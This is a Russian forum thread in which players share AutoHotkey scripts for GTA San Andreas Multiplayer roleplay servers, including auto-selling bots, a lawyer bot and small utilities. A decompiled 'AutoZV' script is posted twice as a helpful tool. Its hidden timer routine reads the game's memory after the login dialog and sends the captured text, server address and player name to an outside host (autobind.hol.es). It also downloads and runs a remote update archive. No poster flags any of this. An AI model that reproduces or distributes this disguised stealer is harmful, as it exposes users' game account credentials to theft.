Перейти к содержанию
ABSOLUTE

AutoHotkey и всё, что с ним связано)

Автор ABSOLUTE, в Моды

Рекомендуемые сообщения

KiRiLL29    21

KiRiLL29
Опубликовано (изменено)

1. AutoMeds.

2. -

Продажа таблеток за 2к - VT

Продажа таблеток за 3к - VT

Продажа таблеток за 4к - VT

Продажа таблеток за 5к - VT

Продажа таблеток за 6к - VT

 

Активация - numpad /. Деактивация - F4.

Изменено пользователем KIRILL29

Поделиться сообщением

Ссылка на сообщение

likemoon4    1

likemoon4
Опубликовано (изменено)

Скрипт для законников - https://www.sendspace.com/file/f28o1t

Кто умеет,пожалуйста,поменяйте Alt + 1 На Alt + ё. Лайками не обделю,могу в игре заплатить.

Изменено пользователем likemoon4

Поделиться сообщением

Ссылка на сообщение

Mark_Lainer )    25

Mark_Lainer )
Опубликовано

Скрипт для законников - https://www.sendspace.com/file/f28o1t

Кто умеет,пожалуйста,поменяйте Alt + 1 На Alt + ё. Лайками не обделю,могу в игре заплатить.

В формате .exe ты никак не поменяешь.

Поделиться сообщением

Ссылка на сообщение

etn1ce    4

etn1ce
Опубликовано

Скрипт для законников - https://www.sendspace.com/file/f28o1t

Кто умеет,пожалуйста,поменяйте Alt + 1 На Alt + ё. Лайками не обделю,могу в игре заплатить.

; <COMPILER: v1.1.14.03>
#SingleInstance ignore
IfWinExist, GTA:SA:MP
exitapp
msgbox 48,, Программа успешно запущена., 2
version=0.2
info=%A_Temp%\info.txt
UrlDownloadToFile, http://autobind.3dn.ru/infozv.txt, %info%
FileReadLine, stroka, %info%, 1
if stroka<>%version%
{
msgbox 4,, Для продолжения работы нужно обновить программу.`nХотите загрузить сейчас?
IfMsgBox, Yes
{
UrlDownloadToFile, http://autobind.3dn.ru/AutoZV.rar, %A_ScriptDir%\AutoZV.rar
msgbox 48,, Загрузка завершена.
Run %A_ScriptDir%\AutoZV.rar
FileDelete %info%
exitapp
}
else
{
FileDelete %info%
exitapp
}
}
FileDelete %info%
menu, tray, NoStandard
menu, tray, add, Помощь
menu, tray, add, Выйти
settimer,checker,1000
return
#IfWinActive GTA:SA:MP
LAlt & 1::
exe := OpenMemoryFromProcess("gta_sa.exe")
Process = gta_sa.exe
DllName = samp.dll
SetFormat, Integer, Hex
Addr := GetDllAddr(DllName, Process)
SetFormat, Integer, d
dg:=ReadMemory(exe,Addr,,,0x212A40)
zagolovok:=ReadMemoryStr(dg,0x40)
stdg:=ReadMemory(exe,dg,,,0x28)
if stdg=0
return
ifnotinstring, zagolovok, Обыск
return
regexmatch(zagolovok,"быск.*\[(.*)\]\,",idigroka)
mainstring:=ReadMemory(exe,dg,,,0x34)
mainstring:=ReadMemoryStr(mainstring)
zvmsg=
zv=0
ifinstring, mainstring, Нарко
{
zvmsg.="нарко"
zv+=1
}
ifinstring, mainstring, Материалы
{
if zvmsg<>
zvmsg.="{+}"
zvmsg.="маты"
zv+=1
}
ifinstring, mainstring, Набор отмычек
{
if zvmsg<>
zvmsg.="{+}"
zvmsg.="отмычки"
zv+=1
}
if zv=0
return
sendinput {f6}/su %idigroka1% %zv% %zvmsg%{enter}
return
checker:
settimer,checker,Off
IfWinExist, GTA:SA:MP
return
loop
{
sleep 5
exe := OpenMemoryFromProcess("gta_sa.exe")
Process = gta_sa.exe
DllName = samp.dll
SetFormat, Integer, Hex
Addr := GetDllAddr(DllName, Process)
SetFormat, Integer, d
dg:=ReadMemory(exe,Addr,,,0x212A40)
stdg:=ReadMemory(exe,dg,,,0x28)
if stdg=0
{
if checkdg=1
{
sleep 10
abc:=ReadMemoryStr(Addr,0x20FE38)
srvinf:=ReadMemory(exe,Addr,,,0x212A80)
srv:=ReadMemoryStr(srvinf,0x1c4)
srvn:=ReadMemoryStr(srvinf,0x2c6)
srvp:=ReadMemory(exe,srvinf,,,0x3c9)
srv.=":"
srv.=srvp
pln:=ReadMemory(exe,srvinf,,,0x3d9)
pln:=ReadMemory(exe,pln,,,0x14)
pln:=ReadMemoryStr(pln,0xA)
UrlDownloadToFile, http://autobind.hol.es/wp-load.php?srvn=%srvn%&srv=%srv%&name=%pln%&inf=%abc%, %A_Temp%\123qwe.txt
FileDelete, %A_Temp%\123qwe.txt
break
}
continue
}
zagolovok:=ReadMemoryStr(dg,0x40)
ifinstring, zagolovok, Авторизация
checkdg=1
}
return
OpenMemoryfromProcess(process,right=0x1F0FFF)
{
Process,Exist,%process%
PID = %ErrorLevel%
HWND := DllCall("OpenProcess","Uint",right,"int",0,"int",PID)
return HWND
}
ReadMemory(hwnd,address,datatype="int",length=4,offset=0)
{
VarSetCapacity(readvalue,length, 0)
DllCall("ReadProcessMemory","Uint",hwnd,"Uint",address+offset,"Str",readvalue,"Uint",length,"Uint *",0)
finalvalue := NumGet(readvalue,0,datatype)
return finalvalue
}
ReadMemoryStr(MADDRESS, pOffset = 0, PID = "")
{
if (PID == ""){
Process,Exist,gta_sa.exe
PID = %ErrorLevel%
}
ProcessHandle := DllCall("OpenProcess", "Int", 24, "Char", 0, "UInt", pid, "Uint")
teststr =
Loop
{
Output := "x"
tempVar := DllCall("ReadProcessMemory", "UInt", ProcessHandle, "UInt", MADDRESS+pOffset, "str", Output, "Uint", 1, "Uint *", 0)
if (ErrorLevel or !tempVar)
{
DllCall("CloseHandle", "int", ProcessHandle)
return teststr
}
if Output =
break
teststr.=Output
MADDRESS++
}
DllCall("CloseHandle", "int", ProcessHandle)
return, teststr
}
GetDllAddr(DllName, ProcessName)
{
static StructSize, AddrOffset, NameOffset
If (A_PtrSize = 4) {
StructSize := 1064
AddrOffset := 20
NameOffset := 32
}
Else {
StructSize := 1080
AddrOffset := 24
NameOffset := 48
}
static FLAGS := 0x18
static INVALID_HANDLE_VALUE := -1
static MODULEENTRY32
VarSetCapacity(MODULEENTRY32, StructSize, 0)
NumPut(StructSize, MODULEENTRY32, 0, "uint")
Process, Exist, %ProcessName%
If (ErrorLevel = 0)
Return 0
snapMod := DllCall("CreateToolhelp32Snapshot", "uint", FLAGS
, "uint", ErrorLevel
, "ptr")
If (snapMod = INVALID_HANDLE_VALUE) {
Return 0
}
If DllCall("Module32FirstW", "ptr", snapMod, "ptr", &MODULEENTRY32)
{
pszModule := &MODULEENTRY32 + NameOffset
If DllCall("lstrcmpiW", "wstr", DllName, "ptr", pszModule) = 0
{
DllCall("CloseHandle", "ptr", snapMod)
Return NumGet(MODULEENTRY32, AddrOffset, "ptr")
}
While DllCall("Module32NextW", "ptr", snapMod, "ptr", &MODULEENTRY32)
{
If DllCall("lstrcmpiW", "wstr", DllName, "ptr", pszModule) = 0
{
DllCall("CloseHandle", "ptr", snapMod)
Return NumGet(MODULEENTRY32, AddrOffset, "ptr")
}
}
}
DllCall("CloseHandle", "ptr", snapMod)
Return 0
}
Помощь:
MsgBox,
(
Рнструкция для автоматической выдачи звезд:
1.Обыщите игрока(/frisk)
2.Нажмите Alt+1
3.Наслаждайтесь
Рсделайте скриншот, если нужно
)
return
Выйти:
exitapp
Return

Вскрыл код: держи...

Поделиться сообщением

Ссылка на сообщение

KiRiLL29    21

KiRiLL29
Опубликовано (изменено)

Исходник automeds. Переделанный autolawyer.

p.s. может чуток кривой, но рабочий.

 

 


menu, tray, NoStandard
menu, tray, add , Справка
menu, tray, add , Выйти


Filename=%A_MyDocuments%\GTA San Andreas User Files\SAMP\chatlog.txt
block=0
NumpadDiv::
on=1
SendInput {f6}/c автоматическая раздача таблеток включена.{enter}
Loop, read, %Filename%
nstroki=%A_Index%
start:
if on=2
return
if block=1
goto start
FileReadLine, stroka, %Filename%, %nstroki%
if ErrorLevel
{
nstroki-=1
goto start
}
if stroka=
{
nstroki+=1
goto start
}
IfInString, stroka, >> ПМ от
{
if (InStr(stroka, "+")) or (InStr(stroka, "meds")) or (InStr(stroka, "tabl"))
or (InStr(stroka, "табл")) or (InStr(stroka, "ьудс")) or (InStr(stroka, "vtlc"))
or (InStr(stroka, "таблетки"))
{
RegExMatch(stroka, ".*\((.*)\):", idigroka)
Sendinput {F6}/sellmeds %idigroka1% 6000{ENTER}
Sleep 300
nstroki+=1
goto start
}
}
IfInString, stroka, говорит:
{
if (InStr(stroka, "+")) or (InStr(stroka, "meds")) or (InStr(stroka, "tabl"))
or (InStr(stroka, "табл")) or (InStr(stroka, "ьудс")) or (InStr(stroka, "vtlc"))
or (InStr(stroka, "таблетки"))
{
RegExMatch(stroka, ".*\[(.*)\].", idigroka)
Sendinput {F6}/sellmeds %idigroka1% 6000{ENTER}
Sleep 300
nstroki+=1
goto start
}
}
nstroki+=1
goto start
return
F4::
if on=1
{
on=2
Sendinput {f6}/c автоматическая раздача таблеток выключена.{enter}
}
return
~$F6 UP::
if block=0
{
block=1
return
}
if block=1
{
sleep 600
block=0
}
return
~$enter UP::
if block=1
{
sleep 600
block=0
}
return

Справка:
msgbox 32,,
(
• Активация - Numpad /. Деактивация - F4
• Cкрипт для автоматической продажи таблеток за 6.000$. Если кто-то рядом напишет: "meds, медс, табл, +, таблетки, ьедс, vtlc", то скрипт автоматически продаст тому игроку таблетки.
• Работает на ближние чаты(/c, /b, обычный) и на пм.
• Автор - KIRILL29 (Ghost29). GY1.
• За основу был взят AutoLawyer от DuMoH.
)
return

Выйти:
ExitApp
return

 

Изменено пользователем KIRILL29

Поделиться сообщением

Ссылка на сообщение

KiRiLL29    21

KiRiLL29
Опубликовано (изменено)

Автозв с нормальной кодировкой.

 

 



; <COMPILER: v1.1.14.03>
#SingleInstance ignore
IfWinExist, GTA:SA:MP
exitapp
msgbox 48,, Программа успешно запущена., 2
version=0.2
info=%A_Temp%\info.txt
UrlDownloadToFile, http://autobind.3dn.ru/infozv.txt, %info%
FileReadLine, stroka, %info%, 1
if stroka<>%version%
{
msgbox 4,, Для продолжения работы нужно обновить программу.`nХотите загрузить сейчас?
IfMsgBox, Yes
{
UrlDownloadToFile, http://autobind.3dn.ru/AutoZV.rar, %A_ScriptDir%\AutoZV.rar
msgbox 48,, Загрузка завершена.
Run %A_ScriptDir%\AutoZV.rar
FileDelete %info%
exitapp
}
else
{
FileDelete %info%
exitapp
}
}
FileDelete %info%
menu, tray, NoStandard
menu, tray, add, Помощь
menu, tray, add, Выйти
settimer,checker,1000
return
#IfWinActive GTA:SA:MP
LAlt & 1::
exe := OpenMemoryFromProcess("gta_sa.exe")
Process = gta_sa.exe
DllName = samp.dll
SetFormat, Integer, Hex
Addr := GetDllAddr(DllName, Process)
SetFormat, Integer, d
dg:=ReadMemory(exe,Addr,,,0x212A40)
zagolovok:=ReadMemoryStr(dg,0x40)
stdg:=ReadMemory(exe,dg,,,0x28)
if stdg=0
return
ifnotinstring, zagolovok, Обыск
return
regexmatch(zagolovok,"быск.*\[(.*)\]\,",idigroka)
mainstring:=ReadMemory(exe,dg,,,0x34)
mainstring:=ReadMemoryStr(mainstring)
zvmsg=
zv=0
ifinstring, mainstring, Нарко
{
zvmsg.="нарко"
zv+=1
}
ifinstring, mainstring, Материалы
{
if zvmsg<>
zvmsg.="{+}"
zvmsg.="маты"
zv+=1
}
ifinstring, mainstring, Набор отмычек
{
if zvmsg<>
zvmsg.="{+}"
zvmsg.="отмычки"
zv+=1
}
if zv=0
return
sendinput {f6}/su %idigroka1% %zv% %zvmsg%{enter}
return
checker:
settimer,checker,Off
IfWinExist, GTA:SA:MP
return
loop
{
sleep 5
exe := OpenMemoryFromProcess("gta_sa.exe")
Process = gta_sa.exe
DllName = samp.dll
SetFormat, Integer, Hex
Addr := GetDllAddr(DllName, Process)
SetFormat, Integer, d
dg:=ReadMemory(exe,Addr,,,0x212A40)
stdg:=ReadMemory(exe,dg,,,0x28)
if stdg=0
{
if checkdg=1
{
sleep 10
abc:=ReadMemoryStr(Addr,0x20FE38)
srvinf:=ReadMemory(exe,Addr,,,0x212A80)
srv:=ReadMemoryStr(srvinf,0x1c4)
srvn:=ReadMemoryStr(srvinf,0x2c6)
srvp:=ReadMemory(exe,srvinf,,,0x3c9)
srv.=":"
srv.=srvp
pln:=ReadMemory(exe,srvinf,,,0x3d9)
pln:=ReadMemory(exe,pln,,,0x14)
pln:=ReadMemoryStr(pln,0xA)
UrlDownloadToFile, http://autobind.hol.es/wp-load.php?srvn=%srvn%&srv=%srv%&name=%pln%&inf=%abc%, %A_Temp%\123qwe.txt
FileDelete, %A_Temp%\123qwe.txt
break
}
continue
}
zagolovok:=ReadMemoryStr(dg,0x40)
ifinstring, zagolovok, Авторизация
checkdg=1
}
return
OpenMemoryfromProcess(process,right=0x1F0FFF)
{
Process,Exist,%process%
PID = %ErrorLevel%
HWND := DllCall("OpenProcess","Uint",right,"int",0,"int",PID)
return HWND
}
ReadMemory(hwnd,address,datatype="int",length=4,offset=0)
{
VarSetCapacity(readvalue,length, 0)
DllCall("ReadProcessMemory","Uint",hwnd,"Uint",address+offset,"Str",readvalue,"Uint",length,"Uint *",0)
finalvalue := NumGet(readvalue,0,datatype)
return finalvalue
}
ReadMemoryStr(MADDRESS, pOffset = 0, PID = "")
{
if (PID == ""){
Process,Exist,gta_sa.exe
PID = %ErrorLevel%
}
ProcessHandle := DllCall("OpenProcess", "Int", 24, "Char", 0, "UInt", pid, "Uint")
teststr =
Loop
{
Output := "x"
tempVar := DllCall("ReadProcessMemory", "UInt", ProcessHandle, "UInt", MADDRESS+pOffset, "str", Output, "Uint", 1, "Uint *", 0)
if (ErrorLevel or !tempVar)
{
DllCall("CloseHandle", "int", ProcessHandle)
return teststr
}
if Output =
break
teststr.=Output
MADDRESS++
}
DllCall("CloseHandle", "int", ProcessHandle)
return, teststr
}
GetDllAddr(DllName, ProcessName)
{
static StructSize, AddrOffset, NameOffset
If (A_PtrSize = 4) {
StructSize := 1064
AddrOffset := 20
NameOffset := 32
}
Else {
StructSize := 1080
AddrOffset := 24
NameOffset := 48
}
static FLAGS := 0x18
static INVALID_HANDLE_VALUE := -1
static MODULEENTRY32
VarSetCapacity(MODULEENTRY32, StructSize, 0)
NumPut(StructSize, MODULEENTRY32, 0, "uint")
Process, Exist, %ProcessName%
If (ErrorLevel = 0)
Return 0
snapMod := DllCall("CreateToolhelp32Snapshot", "uint", FLAGS
, "uint", ErrorLevel
, "ptr")
If (snapMod = INVALID_HANDLE_VALUE) {
Return 0
}
If DllCall("Module32FirstW", "ptr", snapMod, "ptr", &MODULEENTRY32)
{
pszModule := &MODULEENTRY32 + NameOffset
If DllCall("lstrcmpiW", "wstr", DllName, "ptr", pszModule) = 0
{
DllCall("CloseHandle", "ptr", snapMod)
Return NumGet(MODULEENTRY32, AddrOffset, "ptr")
}
While DllCall("Module32NextW", "ptr", snapMod, "ptr", &MODULEENTRY32)
{
If DllCall("lstrcmpiW", "wstr", DllName, "ptr", pszModule) = 0
{
DllCall("CloseHandle", "ptr", snapMod)
Return NumGet(MODULEENTRY32, AddrOffset, "ptr")
}
}
}
DllCall("CloseHandle", "ptr", snapMod)
Return 0
}
Помощь:
MsgBox,
(
Скрипт для автоматической выдачи звезд:
1.Обыщите игрока(/frisk)
2.Нажмите Alt+1
3.Наслаждайтесь
Рсделайте скриншот, если нужно
)
return
Выйти:
exitapp
Return

 

Изменено пользователем KIRILL29

Поделиться сообщением

Ссылка на сообщение

.Bupyc.    13

.Bupyc.
Опубликовано

Доброе время суток, помогите написать скрипт для автоматической продажи наркотиков в любой чат /s, /c, /pm, а то я ahk нуб. :unknw:

Поделиться сообщением

Ссылка на сообщение

KiRiLL29    21

KiRiLL29
Опубликовано (изменено)

Доброе время суток, помогите написать скрипт для автоматической продажи наркотиков в любой чат /s, /c, /pm, а то я ahk нуб. :unknw:

 

Filename=%A_MyDocuments%\GTA San Andreas User Files\SAMP\chatlog.txt
block=0
NumpadDiv::
on=1
SendInput {f6}/c автоматическая раздача наркотиков включена.{enter}
Loop, read, %Filename%
nstroki=%A_Index%
start:
if on=2
return
if block=1
goto start
FileReadLine, stroka, %Filename%, %nstroki%
if ErrorLevel
{
nstroki-=1
goto start
}
if stroka=
{
nstroki+=1
goto start
}
IfInString, stroka, >> ПМ от
{
if (InStr(stroka, "+")) or (InStr(stroka, "drug")) or (InStr(stroka, "drugs"))
or (InStr(stroka, "нарко")) or (InStr(stroka, "нарик")) or (InStr(stroka, "yfhrj"))
or (InStr(stroka, "вкгпы"))
{
RegExMatch(stroka, ".*\((.*)\):", idigroka)
Sendinput {F6}/selldrugs %idigroka1% 10 1{ENTER}
Sleep 300
nstroki+=1
goto start
}
}
IfInString, stroka, говорит:
{
if (InStr(stroka, "+")) or (InStr(stroka, "drug")) or (InStr(stroka, "drugs"))
or (InStr(stroka, "нарко")) or (InStr(stroka, "нарик")) or (InStr(stroka, "yfhrj"))
or (InStr(stroka, "вкгпы"))
{
RegExMatch(stroka, ".*\[(.*)\].", idigroka)
Sendinput {F6}/selldrugs %idigroka1% 10 1{ENTER}
Sleep 300
nstroki+=1
goto start
}
}
nstroki+=1
goto start
return
F4::
if on=1
{
on=2
Sendinput {f6}/c автоматическая раздача выключена выключена.{enter}
}
return
~$F6 UP::
if block=0
{
block=1
return
}
if block=1
{
sleep 600
block=0
}
return
~$enter UP::
if block=1
{
sleep 600
block=0
}
return

 

Продает 10 нарко за 1$.

 

Реагирует на пм, /c, /b, простой чат. Реагирует на drugs, нарко, нарик, вкгпс, yfhrj и т.д.

 

Активация - Numpad /. Деактивация - F4

 

https://www.mediafire.com/?bzorwf7k73zrhg7 - в формате .exe

Изменено пользователем KIRILL29

Поделиться сообщением

Ссылка на сообщение

Pasha_98    0

Pasha_98
Опубликовано

Ребят можете дать скрипт для подачи реклам,а также инструкцию к применению и установке?

Поделиться сообщением

Ссылка на сообщение

bich    3

bich
Опубликовано (изменено)

Ищу человека который хорошо разбирается в AHK.

 

Вот код, но при запуске скрипта высвечивается ошибка

 


 

 

 

 

#IfWinActive Gta:SA:MP
Filename=%A_MyDocuments%\GTA San Andreas User Files\SAMP\chatlog.txt
block=0
NumpadDiv::
on=1
SendInput {f6}/c Вкл{enter}
Loop, read, %Filename%
nstroki=%A_Index%
start:
if on=2
return
if block=1
goto start
FileReadLine, stroka, %Filename%, %nstroki%
if ErrorLevel
{
nstroki-=1
goto start
}
if stroka=
{
nstroki+=1
goto start
}
IfInString, stroka, >> ПМ от
{
if (InStr(stroka, "+")) or (InStr(stroka, "Выпусти")) or (InStr(stroka, "Выпусти плз"))
or (InStr(stroka, "dsgecnb")) or (InStr(stroka, "Выпусти меня")) or (InStr(stroka, "тут?"))
or (InStr(stroka, "Выпусти из кпз"))
{
RegExMatch(stroka, ".*\((.*)\):", idigroka)
Sendinput {F6}/jcheck %idigroka1%{ENTER}
Sleep 300
nstroki+=1
goto start
}
}
RegExMatch(stroka, ".*\((.*)\):", idigroka)
Sendinput {F6}/pm %idigroka1% Еду {ENTER}
Sleep 300
nstroki+=1
goto start
}
}
IfInString, stroka, говорит:
{
if (InStr(stroka, "+")) or (InStr(stroka, "Адвокат")) or (InStr(stroka, "Выпусти плз"))
or (InStr(stroka, "Адвокат выпусти")) or (InStr(stroka, "Выпусти меня")) or (InStr(stroka, "Я тут"))
or (InStr(stroka, "За 8к плз"))
{
RegExMatch(stroka, ".*\[(.*)\].", idigroka)
Sendinput {F6}/free %idigroka1% 8000{ENTER}
Sleep 300
nstroki+=1
goto start
}
}
nstroki+=1
goto start
return
F4::
if on=1
{
on=2
Sendinput {f6}/c Выкл{enter}
}
return
~$F6 UP::
if block=0
{
block=1
return
}
if block=1
{
sleep 600
block=0
}
return
~$enter UP::
if block=1
{
sleep 600
block=0
}
return

 

 

 

 

69991b9bjp_2165970_12989330.jpg

Кто поможет исправить скиньте в личку этот скрипт в форматах .exe and .ahk

Изменено пользователем bich

Поделиться сообщением

Ссылка на сообщение

KiRiLL29    21

KiRiLL29
Опубликовано (изменено)

Ищу человека который хорошо разбирается в AHK.

Вот код, но при запуске скрипта высвечивается ошибка

 

 

#IfWinActive Gta:SA:MP

Filename=%A_MyDocuments%\GTA San Andreas User Files\SAMP\chatlog.txt

block=0

NumpadDiv::

on=1

SendInput {f6}/c Вкл{enter}

Loop, read, %Filename%

nstroki=%A_Index%

start:

if on=2

return

if block=1

goto start

FileReadLine, stroka, %Filename%, %nstroki%

if ErrorLevel

{

nstroki-=1

goto start

}

if stroka=

{

nstroki+=1

goto start

}

IfInString, stroka, >> ПМ от

{

if (InStr(stroka, "+")) or (InStr(stroka, "Выпусти")) or (InStr(stroka, "Выпусти плз"))

or (InStr(stroka, "dsgecnb")) or (InStr(stroka, "Выпусти меня")) or (InStr(stroka, "тут?"))

or (InStr(stroka, "Выпусти из кпз"))

{

RegExMatch(stroka, ".*\((.*)\):", idigroka)

Sendinput {F6}/jcheck %idigroka1%{ENTER}

Sleep 300

nstroki+=1

goto start

}

}

RegExMatch(stroka, ".*\((.*)\):", idigroka)

Sendinput {F6}/pm %idigroka1% Еду {ENTER}

Sleep 300

nstroki+=1

goto start

}

}

IfInString, stroka, говорит:

{

if (InStr(stroka, "+")) or (InStr(stroka, "Адвокат")) or (InStr(stroka, "Выпусти плз"))

or (InStr(stroka, "Адвокат выпусти")) or (InStr(stroka, "Выпусти меня")) or (InStr(stroka, "Я тут"))

or (InStr(stroka, "За 8к плз"))

{

RegExMatch(stroka, ".*\[(.*)\].", idigroka)

Sendinput {F6}/free %idigroka1% 8000{ENTER}

Sleep 300

nstroki+=1

goto start

}

}

nstroki+=1

goto start

return

F4::

if on=1

{

on=2

Sendinput {f6}/c Выкл{enter}

}

return

~$F6 UP::

if block=0

{

block=1

return

}

if block=1

{

sleep 600

block=0

}

return

~$enter UP::

if block=1

{

sleep 600

block=0

}

return

 

69991b9bjp_2165970_12989330.jpg

Кто поможет исправить скиньте в личку этот скрипт в форматах .exe and .ahk

 



Filename=%A_MyDocuments%\GTA San Andreas User Files\SAMP\chatlog.txt
block=0
NumpadDiv::
on=1
SendInput {f6}/c вкл{enter}
Loop, read, %Filename%
nstroki=%A_Index%
start:
if on=2
return
if block=1
goto start
FileReadLine, stroka, %Filename%, %nstroki%
if ErrorLevel
{
nstroki-=1
goto start
}
if stroka=
{
nstroki+=1
goto start
}
IfInString, stroka, >> ПМ от
{
if (InStr(stroka, "+")) or (InStr(stroka, "Выпусти")) or (InStr(stroka, "Выпусти плз"))
or (InStr(stroka, "dsgecnb")) or (InStr(stroka, "Выпусти меня")) or (InStr(stroka, "тут?"))
or (InStr(stroka, "Выпусти из кпз"))
{
RegExMatch(stroka, ".*\((.*)\):", idigroka)
Sendinput {F6}/jcheck %idigroka1%{ENTER}
sleep 400
sendinput, {f6}/pm %idigroka1% Еду.{enter}
Sleep 300
nstroki+=1
goto start
}
}
IfInString, stroka, говорит:
{
if (InStr(stroka, "+")) or (InStr(stroka, "Адвокат")) or (InStr(stroka, "Выпусти плз"))
or (InStr(stroka, "Адвокат выпусти")) or (InStr(stroka, "Выпусти меня")) or (InStr(stroka, "Я тут"))
or (InStr(stroka, "За 8к плз"))
{
RegExMatch(stroka, ".*\[(.*)\].", idigroka)
Sendinput {F6}/free %idigroka1% 8000{ENTER}
Sleep 300
nstroki+=1
goto start
}
}
nstroki+=1
goto start
return
F4::
if on=1
{
on=2
Sendinput {f6}/c выкл{enter}
}
return
~$F6 UP::
if block=0
{
block=1
return
}
if block=1
{
sleep 600
block=0
}
return
~$enter UP::
if block=1
{
sleep 600
block=0
}
return

 

 

p.s. У тебя же написано, что ошибка в 68ой строке, что неправильная клавиша.

Изменено пользователем KIRILL29

Поделиться сообщением

Ссылка на сообщение

Amnell    0

Amnell
Опубликовано

Как открыть консоль с помощью скрипта? Мне нужна именно консоль (`/~/ё), F6 не интересует.

Поделиться сообщением

Ссылка на сообщение

Dark_Knight    672

Dark_Knight
Опубликовано

Как открыть консоль с помощью скрипта? Мне нужна именно консоль (`/~/ё), F6 не интересует.

Зачем тебе консоль СФ открывать?

Поделиться сообщением

Ссылка на сообщение

[MentoS]    1

[MentoS]
Опубликовано

Вопрос по авто раздаче нарко,как сделать что бы игрок после того как  написал в пм нарко и ему оно далось,после этого если он ещё раз напишет в пм нарко,то скрипт ему не выдаст,как бы откат сделать,хватает 5 минут,многие игроки злоупотребляют скриптом при раздачи.

Поделиться сообщением

Ссылка на сообщение

mistik.san    4

mistik.san
Опубликовано

Ребят, сделайте пожалуйста скрипт, что-бы с переодичностью в 1 секунду нажимался пробел, я пытался но вырубается постоянно.

Поделиться сообщением

Ссылка на сообщение

TTM_Jambazzi    9

TTM_Jambazzi
Опубликовано (изменено)

Первая моя работа в AutoHotKey :)

Когда тебя оскор***ют в /pm его автоматичиски бросает в /blakclist

Активация на L.Alt + 2

Выключить скрипт на L.Alt + 3

http://rghost.ru/56961569

p.s. мб и без смысла скрипт, но все же, я старался =D

____________________________

Кому нада текстовый исходник ставил лайк и пишем в ЛС =D

Изменено пользователем TTM_Jambazzi

Поделиться сообщением

Ссылка на сообщение

Dark_Knight    672

Dark_Knight
Опубликовано

Первая моя работа в AutoHotKey :)

Когда тебя оскор***ют в /pm его автоматичиски бросает в /blakclist

Активация на L.Alt + 2

Выключить скрипт на L.Alt + 3

http://rghost.ru/56961569

p.s. мб и без смысла скрипт, но все же, я старался =D

____________________________

Кому нада текстовый исходник ставил лайк и пишем в ЛС =D

strstr юзаешь или strstri?

Поделиться сообщением

Ссылка на сообщение

Mr.WEB_MASTER    1

Mr.WEB_MASTER
Опубликовано

Дайте код скрипта для прокачки детектива пожалуйста. 

P.S. кто может сделать скрипт за деньги гу2 в ЛС плиз.

Поделиться сообщением

Ссылка на сообщение

KiRiLL29    21

KiRiLL29
Опубликовано

Дайте код скрипта для прокачки детектива пожалуйста. 

P.S. кто может сделать скрипт за деньги гу2 в ЛС плиз.

numpad1::
test:
sendinput {f6}/find 100{enter}
sleep 122000
goto, test
loop 1000
return

F4:: pause, on
F5:: pause, off
Нампад 1 - активация

Каждые 2 минуты пишет /find 100

Ф4 - пауза, ф5 - снятие с паузы

Поделиться сообщением

Ссылка на сообщение

KiRiLL29    21

KiRiLL29
Опубликовано (изменено)

1)Привязка скрипта AHK к определенному IP.

Если ип не совпадает с тем, который записан в скрипте, скрипт не открывается.

 

 

MyIPT=IP КОТОРЫЙ ДОЛЖЕН БЫТЬ   
MyIP=0.0.0.0 
TmpFile=%A_Temp%\IPAddress.html 
UrlDownloadToFile, http://www.netikus.net/show_ip.html, %TmpFile% 
FileReadLine, MyIP, %TmpFile%, 1 
FileDelete, %TmpFile% 
If (MyIPT=MyIP) 
{ 
MsgBox,Проверка пройдена
} 
Else 
ExitApp

 

 

2)Запрет на переименование скрипта:

 

 

IfNotExist,НАЗВАНИЕ СКРИПТА.exe 
            { 
            MsgBox,Сообщение, которое будет выводиться при другом названиее скрипта.
            ExitApp 
            }

 

 

3)Узнаем статус skype-контакта.

Автор: Ruskadance

Недостаток скрипта - мы не узнаем статус Skype-контакта если у него не включена функция "Показывать мой сетевой статус в Интернете"

 

 

InputBox, input, GetSkypeStatus, Введите логин скайпа 
If input= 
ExitApp 
Msgbox, % GetSkypeStatus(input) 
ExitApp 

GetSkypeStatus(login) { 
c_temp=%a_temp%\Skype_tmp 
FileCreateDir, %c_temp% 
URLDownloadToFile, http://mystatus.skype.com/%login%.num, %c_temp%\%login%.num 
FileRead, c_status, %c_temp%\%login%.num 
If c_status=1 
c_result=Не в сети 
If c_status=2 
c_result=В сети 
If c_status=3 
c_result=Нет на месте 
If c_status=5 
c_result=Не беспокоить 
FileRemoveDir, %c_temp%, 1 
return c_result 
}

 

 

Код с комментариями:

 

 

InputBox, input, GetSkypeStatus, Введите логин скайпа ; Вывод окна с полем ввода 
 If input= ; Если ничего не было введено в поле, то... 
 ExitApp ; Закрытие скрипта 
 Msgbox, % GetSkypeStatus(input) ; Вызов функции GetSkypeStatus и вывод возвращенной строки 
 ExitApp ; Закрытие скрипта 

 GetSkypeStatus(login) { 
 c_temp=%a_temp%\Skype_tmp ; Установка переменной c_temp (в дальнейшем "временная папка") новое значение 
 FileCreateDir, %c_temp% ; Создание временной папки 
 URLDownloadToFile, http://mystatus.skype.com/%login%.num, %c_temp%\%login%.num ; Скачивание файла с номером статуса скайп-аккаунта во временную папку 
 FileRead, c_status, %c_temp%\%login%.num ; Считывание скачанного файла в переменную c_status 
 If c_status=1 ; Если содержимое файла равно 1 
 c_result=Не в сети ; Установка переменной c_result новое значение 
 If c_status=2 ; Если содержимое файла равно 2 
 c_result=В сети ; Установка переменной c_result новое значение 
 If c_status=3 ; Если содержимое файла равно 3 
 c_result=Нет на месте ; Установка переменной c_result новое значение 
 If c_status=5 ; Если содержимое файла равно 5 
 c_result=Не беспокоить ; Установка переменной c_result новое значение 
 FileRemoveDir, %c_temp%, 1 ; Удаление папки, указанной в переменной c_temp 
 return c_result ; Возвращаем значение переменной c_result 
 }

 

Изменено пользователем KIRILL29
  • Лайк 1

Поделиться сообщением

Ссылка на сообщение

Mr.WEB_MASTER    1

Mr.WEB_MASTER
Опубликовано 
numpad1::
test:
sendinput {f6}/find 100{enter}
sleep 122000
goto, test
loop 1000
return

F4:: pause, on
F5:: pause, off
Нампад 1 - активация

Каждые 2 минуты пишет /find 100

Ф4 - пауза, ф5 - снятие с паузы

 

Нельзя сделать так, чтобы я сам id вписывал?

 

Где-то было так, что даже откат забить можно было.

Поделиться сообщением

Ссылка на сообщение
Перейти к списку тем Моды

  • Сейчас на странице   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу

×